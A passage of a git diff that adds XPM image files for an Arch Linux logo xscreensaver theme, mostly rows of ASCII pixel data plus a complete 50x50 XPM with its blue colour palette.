----!!!!!'''''..#+&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@+++++++++++$))))))))))$+++++++++++++#..''''',,,,,'''!!!!!$$$$ ", +" ----!!!!!'''''..#+&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@++++++++++++++)))))))))))+++++++++++++#..''''''''''''''!!!!$$$$ ", +" ----!!!!!'''''..++&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%+++++++++++++++++)))))))))))>+++++++++++++..''''''''''''''!!!!$$$$ ", +" ----!!!!!'''''..+@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%+++++++++++++++++++))))))))))))$++++++++++++..''''''''''''''!!!!=$$$ ", +" ----!!!!!'''''..+@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&**&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@+++++++++++++++++++++))))))))))))>++++++++++++..''''''''''''''!!!!=$$$ ", +" ---,!!!!''''',..+@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@+++++++++++++++++++++++)))))))))))))$+++++++++++..,'''',,,,,,'''!!!!=$$$ ", +" ----,!!!!''''',..+@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&**,-*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@+++++++++++++++++++++++++)))))))))))))>+++++++++++..,''',--,,,,'''!!!!=$$$$ ", +" ----,!!!!''''';..+@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*=-',-=&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%+++++++++++++++++++++++++++))))))))))))))+++++++++++..;''',---,,,'''!!!!-$$$$ ", +" ----,!!!!''''';..+@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&=->''>-=&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@++++++++++++++++++++++++++++))))))))))))))=++++++++++..;'''',--,,,'''!!!!-$$$$ ", +" ----,!!!!''''';..+%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*-,'!!',-*&&&&&&&&&&&&&&&&&&&&&&&&&&&@++++++++++++++++++++++++++++++))))))))))))))>++++++++++..;'''''',,,''''!!!!-$$$$ ", +" ----'!!!!''''';..+&&&&&&&&&&&&&&&&&&*&&&&&&&&&&&&&&&*;,'!!!!!'';;*&&&&&&&&&&&&&&&&&&&&&&&@++++++++++++++++++++++++++++++++)))))))))))))))++++++++++..&'''''''''''''!!!!,$$$$ ", +" ----'!!!!'''''&..+&&&&&&&&&&&&&&&&&&;&&&&&&&&&&&&&&&&&&=->!!>-=&&&&&&&&&&&&&&&&&&&&&&&&@+++++++++++++++++++++++++++++++++$)))))))))))))))$+++++++++..%'''''''''''''!!!!,$$$$ ", +" ----'!!!!'''''%..+&&&&&&&&&&&&&&&&&&;&&&&&&&&&&&&&&&&&&*--''--*&&&&&&&&&&&&&&&&&&&&&&%@++++++++++++++++++++++++++++++++++=)))))))))))))))>+++++++++..%'''''''''''''!!!!,$$$$ ", +" ----'!!!!'''''%..+&&&&&&&&&&&&&&&&**,*&&&&&&&&&&&&&&&&&&*=,,=*&&&&&&&&&&&&&&&&&&&&&%@++++++++++++++++++++++++++++++++++++>)))))))))))))))>+++++++++..#'''''''''''''!!!!,$$$$ ", +" ----'!!!!'''''#..+&&&&&&&&&&&&&&&*=-'-=*&&&&&&&&&&&&&&&&&&--&&&&&&&&&&&&&&&&&&&&&&@++++++++++++++++++++++++++++++++++++++>))))))))))))))))++++@@@@@..#'''''''''''''!!!!,$$$$ ", +" ----!!!!!'''''#..+&&&&&&&&&&&&&&*=-'!>-=&&&&&&&&&&&&&&&&&&**&&&&&&&&&&&&&&&&&&&&%@++++++++++++++++++++++++++++++++++++++@)))))))))))))))))@@@@@@@@@#.#'''''''''''''!!!!'$$$$ ", +" ----!!!!!'''''#.#+&&&&&&&&&&&&&&*->'!',-*&&&&&&&&&&&&&&&&&*&&&&&&&&&&&&&%%%%&&%@++++++++++++++++++++++++++++++++++++++++$)))))))))))))))))@@@@@@@@@#..'''''''''''''!!!!'$$$$ ", +" ----!!!!!'''''..#+&&&&&&&&&&&*;;,'!!!!!',;;*&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%@++++++++++++++++++++++++++++++++@@@@@@@@@@>)))))))))))))))))&@@@@@@@@#..''''''''''''''!!!'$$$$ ", +" ----!!!!!'''''..#+&&&&&&&&&&&&&&*-''!'>-*&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%&&&&%@++++++++++++++++++++++@@@@@@@@@@@@@@@@@@@@@))))))))))))))))))$@@@@@@@@#..''''''''''''''!!!'$$$$ ", +" ----!!!!!'''''..#+&&&&&&&&&&&&&&*=->!,-=&&&&&&&&&&&&%%%%%%%%&&&&%%%&&&&&%%@++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>))))))))))))))))))$@@@@@@@@#..''''''''''''''!!!'$$$$ ", +" ----!!!!!'''''..#+&&&&&&&&&&&&&&&*=-'-=*&&&&&&%%%%&&&&%%%%%%%&&&&&&&&&&%%@++++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@)))))))))))))))))))&@@@@@@@@#..''''''''''''''!!!!$$$$ ", +" ----!!!!!'''''..+@&&&&&&&&&&&&&&&&&*,*&&&&&%%%%%%%%%%%&%%%%&&&&&%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>)))))))))))))))))))@@@@@@@@@@..,'''''''''''''!!!!$$$$ ", +" ----!!!!!'''''..+@&&&&&&&&&&&&&&&&&&;%%%%%%%%%&&%%%%%&&&&%%%%&&%%%%%%$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&))))))))))))))))))))@@@@@@@@@@..,'''''''''''''!!!!=$$$ ", +" ----!!!!''''',..+@&&&&&&&&&&&%%%%%%%*%%&&&%%%%%%%%&&&&&&&%%%%%%%%%%%@>)=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>))))))))))))))))))))@@@@@@@@@@..;'''''''''''''!!!!=$$$ ", +" ---,!!!!''''';..+@&&&&&&&&&&%%%%%&&%&%%%%&&&&&&&%%%%%%%%%%%%%%%%%%@@@$)))=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>))))))))))))))))))))>@@@@@@@@@@..;'''''''''''''!!!!=$$$ ", +" ----,!!!!''''';..+@&&&&%%%%%%%%%%%%&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@)))))=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=)))))))))))))))))))))>@@@@@@@@@@..;'''''''''''''!!!!=$$$$ ", +" ----,!!!!''''';..@@&&&&&%%%%%%%%%%%&&&&%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@>))))))=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=))))))))))))))))))))))=@@@@@@@@@@..&'''''''''''''!!!!-$$$$ ", +" ----,!!!!''''';..@@%%%%%%%%%&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@=))))))))>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>)))))))))))))))))))))))@@@@@@@@@@@..%'''''''''''''!!!!-$$$$ ", +" ----,!!!!''''';..@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@))))))))))>$@@@@@@@@@@@@@@@@@@@@@@@@@@@@$))))))))))))))))))))))))>@@@@@@@@@@@..%'''''''''''''!!!!-$$$$ ", +" ----'!!!!'''''%..@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@>))))))))))))>&@@@@@@@@@@@@@@@@@@@@@@@&>)))))))))))))))))))))))))>@@@@@@@@@@@..#'''''''''''''!!!!,$$$$ ", +" ---='!!!!'''''%..@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@=))))))))))))))>>$@@@@@@@@@@@@@@@@@@$>)))))))))))))))))))))))))))@@@@@@@@@@@@..#'''''''''''''!!!!,$$$$ ", +" -==='!!!!'''''#..@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@))))))))))))))))))>>=$@@@@@@@@@$=>)))))))))))))))))))))))))))))>@@@@@@@@@@@@#.#'''''''''''''!!!!,$$$$ ", +" ===='!!!!'''''#..@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@>))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))$@@@@@@@@@@@@#..'''''''''''''!!!!,$$$$ ", +" ===='!!!!'''''#.#@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))>@@@@@@@@@@@@@#..''''''''''''''!!!,$$$$ ", +" ====!!!!!'''''#.#@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@>))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))$@@@@@@@@@@@@@#..''''''''''''''!!!'$$$$ ", +" ====!!!!!'''''..#@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@%)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))>@@@@@@@@@@@@@@#..''''''''''''''!!!'$$$$ ", +" ====!!!!!'''''..#@%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=))))))))))))))))))))))))))))))))))))))))))))))))))))))))))&@@@@@@@@@@@@@@#..,'''''''''''''!!!'$$$$ ", +" ====!!!!!'''''..#@%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>))))))))))))))))))))))))))))))))))))))))))))))))))))))))=@@@@@@@@@@@@@@@@..,'''''''''''''!!!'$$$$ ", +" ===-!!!!!'''''..#@%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$)))))))))))))))))))))))))))))))))))))))))))))))))))))))>@@@@@@@@@@@@@@@@@..,'''''''''''''!!!'$$$$ ", +" ===-!!!!!'''''..#@%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=))))))))))))))))))))))))))))))))))))))))))))))))))))))%@@@@@@@@@@@@@@@@@..;'''''''''''''!!!'$$$$ ", +" ===-!!!!''''',..@@%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>))))))))))))))))))))))))))))))))))))))))))))))))))))&@@@@@@@@@@@@@@%%%%..;'''''''''''''!!!!$$$$ ", +" ===-!!!!''''',..@@%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>))))))))))))))))))))))))))))))))))))))))))))))))))$@@@@%%%%%%%%%%%%%%%..;'''''''''''''!!!!$$$$ ", +" ===-!!!!''''';..@@%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>))))))))))))))))))))))))))))))))))))))))))))))))$%%%%%%%%%%%%%%%%%%%%..&'''''''''''''!!!!=$$$ ", +" ===,!!!!''''';..@@%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>))))))))))))))))))))))))))))))))))))))))))))))$%%%%%%%%%%%%%%%%%%%%%..%'''''''''''''!!!!=$$$ ", +" ====,!!!!''''';..@@%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>))))))))))))))))))))))))))))))))))))))))))))&%%%%%%%%%%%%%%%%%%%%%%..%'''''''''''''!!!!=$$$$ ", +" ====,!!!!''''';..@@%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>)))))))))))))))))))))))))))))))))))))))))>%%%%%%%%%%%%%%%%%%%%%%%%..#'''''''''''''!!!!-$$$$ ", +" ====,!!!!'''''%..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%$)))))))))))))))))))))))))))))))))))))))=%%%%%%%%%%%%%%%%%%%%%%%%%#.#'''''''''''''!!!!-$$$$ ", +" ====,!!!!'''''%..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%%>)))))))))))))))))))))))))))))))))))>&%%%%%%%%%%%%%%%%%%%%%%%%%%#.#'''''''''''''!!!!-$$$$ ", +" ===='!!!!'''''#..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%%%%%%&>))))))))))))))))))))))))))))))))=%%%%%%%%%%%%%%%%%%%%%%%%%%%%#..''''''''''''''!!!-$$$$ ", +" ===='!!!!'''''#..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%$>)))))))))))))))))))))))))))>=%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#..''''''''''''''!!!,$$$$ ", +" ===='!!!!'''''#.#@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%>)))))))))))))))))))))))>&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#..''''''''''''''!!!,$$$$ ", +" ===='!!!!'''''#.#@@@@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&=>)))))))))))))))>=&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#..''''''''''''''!!!,$$$$ ", +" ===='!!!!'''''..#@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*=>>>>>>>=*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#..,'''''''''''''!!!,$$$$ ", +" ===='!!!!'''''..#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#..,'''''''''''''!!!,$$$$ ", +" ====!!!!!'''''..#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%..,'''''''''''''!!!'$$$$ ", +" ====!!!!!'''''..#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%..;'''''''''''''!!!'$$$$ ", +" ====!!!!''''''..#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%..;'''''''''''''!!!'$$$$ ", +" ====!!!!''''',..@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%..;'''''''''''''!!!'$$$$ ", +" ===-!!!!''''',..%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%..&'''''''''''''!!!'$$$$ ", +" ===-!!!!''''';..%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%..%'''''''''''''!!!'$$$$ ", +" ===-!!!!''''';..%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%..%'''''''''''''!!!!$$$$ ", +" ===-!!!!''''';............................................................................................................................................#'''''''''''''!!!!=$$$ ", +" ====-!!!!''''',............................................................................................................................................;'''''''''''''!!''=$$$$ ", +" ====,!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'''''''''''''''''''=$$$$ ", +" ====,!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''=$$$$ ", +" ====,!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''-$$$$ ", +" ====,!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''-$$$$ ", +" ====,!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''-$$$$ ", +" ===='!!!!'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',$$$$ ", +" ===='!!!!'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',$$$$ ", +" ===='!!!!''''''''''''''''''''''''''''',,,,,,'''''',,,,,,,,,,,,,,,,,,,,,''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,''''',$$$$ ", +" ===='!!!!',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'''',$$$$ ", +" ===='!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'''',$$$$ ", +" ====,!!!!',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'''''-$$$$ ", +" ====-!!!!!!'''''''''''''''''''''''''''''''''',,,,,,,,''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,''''''$$$$$ ", +" ====,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''''',$$$$ ", +" ====='!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''''''''''''''''''''''''''''',$$$$$ ", +" =====,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''-$$$$$ ", +" =======,''''''''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,-$$$$$$$ ", +" ==========----------=========================================================================================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ", +" ===========================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ", +" ========================================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ", +" =======================================$$$$$$$$$$$$$$$$$$$$$$==========$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ", +" $$$$$$$=======================================$$$$$$ ", +" $$$$$$$$$$=======================================$$$$$$$$$ ", +" $$$$$$$$$$$$$---------------------------------------$$$$$$$$$$$$ ", +" $$$$$$$$$$$=--,-----------------------------------------=$$$$$$$$$$$ ", +" $$$$$$$$$=-,,,,,---------------------------------------,,,,-=$$$$$$$$$ ", +" $$$$$$$$$-,,,,,,,,---------------------------------------,,,,,,,-$$$$$$$$$ ", +" $$$$$$$=-,,,,,,,,,,---------------------------------------,,,,,,,,,-=$$$$$$$ ", +" $$$$$$=-,,,,,,,,,,,,---------------------------------------,,,,,,,,,,,-=$$$$$$ ", +" $$$$$$-,,,,,,,,,,,,,,---------------------------------------,,,,,,,,,,,,,-$$$$$$ ", +" $$$$$=,,,,,,,,,,,,,,,,---------------------------------------,,,,,,,,,,,,,,,=$$$$$ ", +" $$$$$=,,,,,,,,,,,,,,,,,---------------------------------------,,,,,,,,,,,,,,,,=$$$$$ ", +" $$$$=,,,,,,,,,,,,,,,,,,---------------------------------------,,,,,,,,,,,,,,,,,=$$$$ ", +" $$$$$-,,,,,,,,,,,,,,,,,,---------------------------------------,,,,,,,,,,,,,,,,,-$$$$$ ", +" $$$$=,,,,,,,,,,,,,,,,,,,---------------------------------------,,,,,,,,,,,,,,,,,,=$$$$ ", +" $$$$---,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,----$$$$ ", +" $$$$----,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,----$$$$ ", +" $$$$-----,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,-----$$$$ ", +" $$$$------,''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,''''',,,------$$$$ ", +" $$$$$------,''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'''''''',,------$$$$$ ", +" $$$$$=------,'''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,''''''''''',,------=$$$$ ", +" $$$$$--------,''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,'''''''''''''',,--------$$$$$ ", +" $$$$$=--------,''!!!!!!!!!!!!!!'''''',,,,,,,''''''!!!!!!'''''''''',,--------=$$$$$ ", +" $$$$$$=----------,'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'',----------=$$$$$$ ", +" $$$$$$$=-----------,'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'',-----------=$$$$$$$ ", +" $$$$$$$$=-------------,''!!!!!!!!!!!!!!!!!!!!!!!!!!!!',,-------------=$$$$$$$$ ", +" $$$$$$$$=-=============---,,''!!!!!!!!!!!!!!'',,---=============-=$$$$$$$$ ", +" $$$$$$$$$=--=======================--=======================--=$$$$$$$$$ ", +" $$$$$$$$$$==-==========================================-==$$$$$$$$$$ ", +" $$$$$$$$$$$$==--================================--==$$$$$$$$$$$$ ", +" $$$$$$$$$$$$$$$===----================----===$$$$$$$$$$$$$$$ ", +" $$$$$$$$$$$$$$$$$$$$$$==========$$$$$$$$$$$$$$$$$$$$$$ ", +" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ", +" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ", +" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ", +" $$$$$$$$$$ ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-50-archlinux.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-50-archlinux.xpm new file mode 100644 index 0000000..79486df --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-50-archlinux.xpm @@ -0,0 +1,70 @@ +/* XPM */ +static char * logo_50_xpm[] = { +"50 50 17 1", +" c None", +". c #00A9D7", +"+ c #06A9D2", +"@ c #0CAAD3", +"# c #11ABD4", +"$ c #00B0D7", +"% c #00B2DA", +"& c #17ADD6", +"* c #00B4DC", +"= c #1EB0D9", +"- c #22B5D7", +"; c #29B8DA", +"> c #2DBADD", +", c #31BDDF", +"' c #36BFE2", +") c #41BDDA", +"! c #45C0DD", +" ", +" @$ ", +" @# ", +" @@ ", +" #+@; ", +" +++$ ", +" $@@@@; ", +" ###@@- ", +" ;####@$, ", +" &$####&> ", +" $$$&$$$#;' ", +" $$$$$&&$$, ", +" $$$$$$$$&; ", +" ;$-$$$=$$&-) ", +" -$$$$$$$$$$, ", +" -*---$$$$$;! ", +" > ;--*-$*$$$) ", +" ,;; >-*--****;! ", +" ;;;;; ;--****-! ", +" >>>;;;;> ;;;---*;! ", +" ,>>>;;;;;;;;;----' ", +" !>,,>>>>>>;;;;;;;;;! ", +" ,,,,,,>>>>;;;;;;;;;) ", +" ')'),,,,,>;;;;;;;;;;;! ", +" !''))',-$#@@@@@@@@#&*, ", +" !'!!!;$+++.+++@@+++++++> ", +" !!!;#@+@+@++++@@@+@++++@ ", +" !!>&+@+.+++++.+.+++++@+++$ ", +" '$@++@++@@@++++++@++@@++++- ", +" -++++++@+++## $#++@+++++@+@ ", +" ++@++++@++@ @+.@++.++.+# ", +" #@+@+++++@@ ++@@@@+@@@# ", +" -++@+.@+@++$ $+.++@+@+@+$ ", +" @+++@@++++@ @++@+++++@+ ", +" $@++++@++++@ @+@+@@+++++$ ", +" @++@+++++@+$ $+++++.+++@@ ", +" $+.@++++@+@+ +@+@++$$+++& ", +" +@@++@@+@@@+ +@++@+@& ## ", +" &+++@@+@@++++ @++.@@@++$ > ", +" @@++@@+++@+@+ +@++++@@++# ", +" @++@@.++++@+@+ ++@@+++++@@@- ", +" @@@+++++@@+++#- #++++++++@@+@# ", +" #++@+++++@+#& &#@++@@+@+++$ ", +" $+@+@++++& &++@+++@+$ ", +" @++@++@$ #+@+@@@+ ", +" $@+@+#& $@+@+@$ ", +" ++++$ $@@++ ", +" #+#$ $@+& ", +" @& &@ ", +"; ;"}; diff --git a/xscreensaver-arch-logo/xscreensaver-properties.desktop 